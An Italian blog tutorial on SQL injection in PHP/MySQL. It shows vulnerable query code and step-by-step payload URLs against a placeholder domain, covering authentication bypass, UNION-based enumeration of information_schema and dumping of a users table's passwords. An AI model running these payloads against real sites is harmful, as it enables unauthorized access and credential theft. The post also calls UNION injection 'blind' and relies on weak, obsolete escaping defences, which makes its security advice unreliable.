Beh, forse non è poi così sconosciuta, ma mi andava di scrivere un post tecnico, e visto che parlavo di injection con un collega giusto ieri, ho preso la palla al balzo.
Quindi...


Un po' di storia


La SQL injection è una tecnica mirata a colpire applicazioni web basate su database SQL.
Sfruttando il mancato controllo sui dati ricevuti in input ed iniettando codice malevolo all'interno di una query SQL permette ad un malintenzionato di autenticarsi senza essere in possesso delle credenziali e/o di visualizzare e alterare dati sensibili.

Vediamo un esempio:

http://www.dominio.com/dettaglio.php?id_dettaglio=42

(ipotizziamo che la pagina debba restituire il dettaglio corrispondente all'id 42)

Il parametro passato (42) sarà quindi processato dalla pagina lato server che lo riceve, e presumibilmente utilizzato come parte di una query SQL utilizzata per estrarre i dati.

La pagina lato server (dettaglio.php) potrebbe essere strutturata in questo modo:

[...]
$id_dettaglio = $_GET['id_dettaglio'];
$result = mysql_query("SELECT * FROM articoli WHERE id_articolo=$id_dettaglio");
[...]

Una pagina così realizzata è quindi vulnerabile ad una 'iniezione' di codice SQL.

Proviamo infatti a modificare in questo modo l'URL:

http://www.dominio.com/dettaglio.php?id_dettaglio=42+or+1=1

la query costruita in questo modo

"SELECT * FROM articoli WHERE id_articolo=$id_dettaglio"

restituirà questo curioso risultato:

SELECT * FROM articoli WHERE id_articolo=42 or 1=1

che, una volta eseguito, restituirà non l'articolo 42 ma il primo presente nella tabella 'articoli'.

E fino a qui, i problemi sono minimi, ma prendiamo in considerazione una pagina di questo tipo:

[...]
$user = $_GET['user']; $pass = $_GET['password'];
$result = mysql_query("SELECT * FROM users WHERE user='$user' AND pass='$pass'");
[...]

che riceve dati tramite questo URL

http://www.dominio.com/accesso.php?user=admin&pass=password

Come nel precedente esempio, i dati di accesso vengono prelevati ed utilizzati senza alcun controllo, permettendoci di modificare i dati in questo modo (utilizzo il GET come esempio più leggibile, la tecnica funziona allo stesso modo anche con un POST):

http://www.dominio.com/accesso.php?user=admin&pass='+or+''='

Quando la pagina andrà a 'montare' la query, con questa concatenazione di stringhe

"SELECT * FROM users WHERE user='$user' AND pass='$pass'"

il risultato sarà il seguente:

SELECT * FROM users WHERE user='admin' AND pass='' or ''=''

Eseguita la query, a prescindere dalle credenziali inserite il recordset risultante conterrà tutti i dati degli utenti, e presumibilmente la pagina sceglierà come valido il primo disponibile (l'admin? :-P)

Questo tipo di injections dimostrano già un grande potenziale, ma sono frenate da una grande limitazione: la mancata conoscenza della struttura del database presente dietro la pagina web.
Per ottenere maggiori informazioni, e virtualmente accedere all'intero set di dati presenti nel database si utilizza una tecnica chiamata Blind SQL Injection.

Blind? perchè 'cieca?'


Blind (cieca) perchè, nella fase di ricerca delle informazioni necessarie si procede letteralmente alla cieca, sfruttando il costrutto UNION di SQL.
Vi ricordo che UNION permette di 'unire' i risultati di 2 query a patto che queste ottengano lo stesso numero di colonne e i medesimi tipi di dati.

Per prima cosa, recuperiamo il precedente URL

http://www.dominio.com/dettaglio.php?id_dettaglio=42

e cerchiamo di iniettare codice per generare una query valida contenente una UNION:

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+0,1,2

che genererà quindi nel backend una query di questo tipo:

SELECT * FROM articoli WHERE id_articolo=42 UNION ALL SELECT 0,1,2

In questo caso tentiamo ipotizzando che la tabella letta dalla pagina dettaglio.php contenga 3 campi: se l'ipotesi si dimostrerà vera, la pagina verrà caricata senza errori, in caso contrario ci verrà restituito un messaggio di errore, e dovremmo continuare a 'tentare la fortuna' con un numero diverso di campi:

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+0,1,2,3
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+0,1,2,3,4
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+0,1,2,3,4,5

Ecc...

fino a trovare la sequenza che permette il caricamento della pagina senza errori.

A questo punto, considerando valido l'ultimo URL , possiamo realizzare una injection di questo tipo

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+0,1,2,3,4,5+limit+0,1

LIMIT 0,1 farà in modo che i dati da noi inseriti con la UNION vengano visualizzati per primi e presumibilmente mostrati nella pagina, nelle posizioni che il programmatore aveva destinato ai dati 'veri'.
Ora abbiamo quindi un URL che ci permette di visualizzare in una zona ben definita della pagina un dato a nostra scelta, questo ci permette di conoscere, un passo alla volta la struttura del database.

Inviamo infatti questa richiesta:

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+table_name,1,2,3,4,5+FROM+information_schema.tables+limit+0,1

e, accedendo all'information_schema, otteniamo il nome della prima tabella presente nel database.
Proseguiamo con una serie di richieste

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+table_name,1,2,3,4,5+FROM+information_schema.tables+limit+1,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+table_name,1,2,3,4,5+FROM+information_schema.tables+limit+2,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+table_name,1,2,3,4,5+FROM+information_schema.tables+limit+3,1

e sulla pagina potremo visualizzati i nomi delle altre tabelle del DB.

In questo modo, scoprire che (ad esempio) la tabella utenti risponde al nome di USERS è cosa semplice, e diventa banale anche ottenere il nome delle colonne presenti al suo interno:

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+column_name,1,2,3,4,5+FROM+information_schema.columns+where+table_name='USERS'+LIMIT+0,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+column_name,1,2,3,4,5+FROM+information_schema.columns+where+table_name='USERS'+LIMIT+1,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+column_name,1,2,3,4,5+FROM+information_schema.columns+where+table_name='USERS'+LIMIT+2,1

e così via.

In ultimo, avendo tutti i dati necessari, possiamo effettuare il dump dei dati presenti nella tabella USERS:

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+user,1,2,3,4,5+FROM+USERS+LIMIT+0,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+pass,1,2,3,4,5+FROM+USERS+LIMIT+0,1

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+user,1,2,3,4,5+FROM+USERS+LIMIT+1,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+pass,1,2,3,4,5+FROM+USERS+LIMIT+1,1

http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+user,1,2,3,4,5+FROM+USERS+LIMIT+2,1
http://www.dominio.com/dettaglio.php?id_dettaglio=42+UNION+ALL+SELECT+pass,1,2,3,4,5+FROM+USERS+LIMIT+2,1

Se la procedura sembra lunga e noiosa, è bene sapere che esistono tools per la realizzazione delle BLIND SQL Injections, che permettono di automatizzare tutti gli step, dalla ricerca della UNION corretta alla estrazione della struttura del DB fino al dump dei dati.

Uno dei più efficaci è a mio avviso è DarkMYSQLi.

Come difendersi?


3 semplici soluzioni (in ambiente PHP+Mysql):

  1. Impostare la direttiva magic_quotes_gpc del php.ini ad ON: permette di effettuare un escaping automatico dei dati ricevuti tramite form o url.

  2. Utilizzare la funzione mysql_escape_string di PHP: a grandi linee la versione 'manuale' della modifica al php.ini.

  3. Verifica dei dati tramite espressioni regolari, in modo da verificare la correttezza degli input prima di effettuare operazioni sul database

Maggiori informazioni le potete trovare in questo articolo di HTML.it.